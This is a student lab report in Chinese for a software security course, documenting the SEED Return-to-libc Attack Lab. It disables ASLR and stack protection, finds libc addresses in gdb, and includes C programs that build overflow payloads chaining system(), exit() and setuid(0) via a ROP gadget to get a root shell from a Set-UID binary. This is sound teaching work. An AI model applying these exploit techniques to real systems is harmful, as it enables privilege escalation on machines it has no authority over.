实 验 报 告

Return-to-libc Attack Lab

课程名称	软件安全
学　　院	计算机科学技术学院
专　　业	信息安全
姓　　名	冉津豪
学　　号	17307130179

开 课 时 间 2019 至 2020 学年第 二 学期

目录

Pre-Task Turning Off Countermeasures 2

Task 1: Finding out the addresses of libc functions 2

Task 2: Putting the shell string in the memory 2

Task 3: Exploiting the buffer-overflow vulnerability 3

Task 4: Turning on address randomization 4

Task 5: Defeat Shell's countermeasure 4

Pre-Task Turning Off Countermeasures

关闭地址空间随机化。

```
sudo sysctl -w kernel.randomize_va_space=0
```

禁止 StackGuard 进行编译

```
gcc -fno-stack-protector example.c
```

execstack 编译

```
gcc -z execstack -o test test.c
```

Ubuntu 16.04 防止运行在 Set-UID 程序中，因此将/bin/sh 链接到 zsh

```
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh
```

Task 1: Finding out the addresses of libc functions

用 GDB 找出 system()及 exit()的地址

0xb7e42da0 ; // system()

0xb7e369d0 ; // exit()。

```
touch badfile
gdb -q retlib
gdb-peda$ run
......
gdb-peda$ p system
gdb-peda$ p exit
gdb-peda$ quit
```

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ touch badfile
[05/10/20]seed@VM:~/.../2. Return-to-libc$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ run
Starting program: /home/seed/Documents/2. Return-to-libc/retlib
Returned Properly
[Inferior 1 (process 3955) exited with code 01]
Warning: not running or target is remote
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

Task 2: Putting the shell string in the memory

将/bin/sh 添加到环境变量中，命名为 MYSHELL。

通过 getenv 查看其地址 0xbffffdd6，由于环境变量地址受文件名长度影响，所以新建文件与 retlib 文件名长度相同，直接使用结果地址。

```
export MYSHELL=/bin/sh
env | grep MYSHELL
```

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ export MYSHELL=/bin/sh
[05/10/20]seed@VM:~/.../2. Return-to-libc$ env | grep MYSHELL
MYSHELL=/bin/sh
```

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main(){
    char* shell = getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int)shell);
}
```

Task 3: Exploiting the buffer-overflow vulnerability

获取到需要的地址后，现在确定 exploit 中的 XYZ。

由传参可知，buffer 在栈上的位置为 ebp-0x14，考虑到 push ebp，可知返回地址为 buffer+24，所以 system 的偏移为 24。

```
gdb-peda$ disas bof
Dump of assembler code for function bof:
   0x080484bb <+0>:     push   ebp
   0x080484bc <+1>:     mov    ebp,esp
   0x080484be <+3>:     sub    esp,0x18
   0x080484c1 <+6>:     push   DWORD PTR [ebp+0x8]
   0x080484c4 <+9>:     push   0x28
   0x080484c6 <+11>:    push   0x1
   0x080484c8 <+13>:    lea    eax,[ebp-0x14]
   0x080484cb <+16>:    push   eax
   0x080484cc <+17>:    call   0x8048370 <fread@plt>
   0x080484d1 <+22>:    add    esp,0x10
   0x080484d4 <+25>:    mov    eax,0x1
   0x080484d9 <+30>:    leave
   0x080484da <+31>:    ret
End of assembler dump.
```

再依次将 exit(), “/bin/sh” 地址放到栈上即可。

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;

  badfile = fopen("./badfile", "w");
  memset(&buf, 0x90, 24);
  *(long *) &buf[32] = 0xbffffdd6 ;   //  "/bin/sh"
  *(long *) &buf[24] = 0xb7e42da0 ;   //  system()
  *(long *) &buf[28] = 0xb7e369d0 ;   //  exit()
  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}
```

```
gdb-peda$ c
Continuing.
[New process 4677]
process 4677 is executing new program: /bin/zsh5
Error in re-setting breakpoint 1: Function "bof" not defined.
[Inferior 2 (process 4677) exited normally]
Warning: not running or target is remote
gdb-peda$ quit
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib
#
```

Attack variation 1:不添加 exit()地址。将以下代码注释掉。

```
*(long *) &buf[28] = 0xb7e369d0 ;   //  exit()
```

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib
# exit
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib
# exit
Segmentation fault
[05/10/20]seed@VM:~/.../2. Return-to-libc$
```

可见，攻击依然可以实现，因为 system(“/bin/sh”) 仍然正常运行，但无法 exit 命令无法使/bin/sh 正常返回到 exit()地址处。

Attack variation 2:修改文件名为 newretlib，此时文件名长度导致了/bin/sh 的地址变化，使得攻击失败，此时要重新计算环境变量的地址。

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ gcc  -fno-stack-protector -z noexecst
ack -o newretlib newretlib.c
[05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo chown root newretlib
[05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo chmod 4755 newretlib
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./newretlib
zsh:1: command not found: h
Segmentation fault
```

Task 4: Turning on address randomization

将地址随机化复原：

```
sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

此时产生 segmentation fault。

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo /sbin/sysctl -w kernel.randomize
_va_space=2
kernel.randomize_va_space = 2
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib
Segmentation fault
```

关闭 gdb 的禁用地址随机化后，查看所有地址，三者地址均与之前不同，所以攻击失效。

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb75d7da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75cb9d0 <__GI_exit>
gdb-peda$ quit
[05/10/20]seed@VM:~/.../2. Return-to-libc$ env | grep MYSHELL
MYSHELL=/bin/sh
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./getenv
./getenv
bfc3edd6
```

Task 5: Defeat Shell’s countermeasure

再次关闭地址随机，执行 retlib，由于 bash 的权限降低，发现没有获得 root 权限。

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo ln -sf /bin/dash /bin/sh
[05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo sysctl -w kernel.randomize_va_sp
ace=0
kernel.randomize_va_space = 0
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib
$
```

此时考虑使用 setuid(0), 用 system 相同方法查找 setuid 地址 0xb7eb9170。

```
gdb-peda$ p setuid
$1 = {<text variable, no debug info>} 0xb7eb9170 <__setuid>
```

此时我们需要传入参数 0，在 setuid 使用完毕后，应将 0 从栈上 pop 出，并承接返回地址到 system()。为了找到 pop ...; ret;的 code，我们使用 ROPgadget 工具。

```
ROPgadget --binary retlib --only "pop|ret"
```

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ROPgadget --binary retlib --only "pop|ret"
Gadgets information
============================================================
0x0804859b : pop ebp ; ret
0x08048598 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048345 : pop ebx ; ret
0x0804859a : pop edi ; pop ebp ; ret
0x08048599 : pop esi ; pop edi ; pop ebp ; ret
0x08048329 : ret
0x080484f5 : ret 0x485
0x0804843e : ret 0xeac1

Unique gadgets found: 8
```

这里选用 0x0804859b，因此可以构建 badfile:

```
1   #include <stdlib.h>
2   #include <stdio.h>
3   #include <string.h>
4   int main(int argc, char **argv)
5   {
6     char buf[50];
7     FILE *badfile;
8
9     badfile = fopen("./badfile", "w");
10    memset(&buf, 0x90, 24);
11    *(long *) &buf[24] = 0xb7eb9170 ;   //  setuid()
12    *(long *) &buf[28] = 0x0804859b ;   //  pop; ret
13    *(long *) &buf[32] = 0 ;           //  0
14    *(long *) &buf[36] = 0xb7e42da0 ;   //  system()
15    *(long *) &buf[40] = 0xb7e369d0 ;   //  exit()
16    *(long *) &buf[44] = 0xbffffdd6 ;   //  "/bin/sh"
17
18
19    fwrite(buf, sizeof(buf), 1, badfile);
20    fclose(badfile);
21  }
```

攻击成功。

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ gcc  -fno-stack-protector -z noexecst
ack -o retlib retlib.c
[05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo chown root retlib
[05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo chmod 4755 retlib
[05/10/20]seed@VM:~/.../2. Return-to-libc$
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib
#
```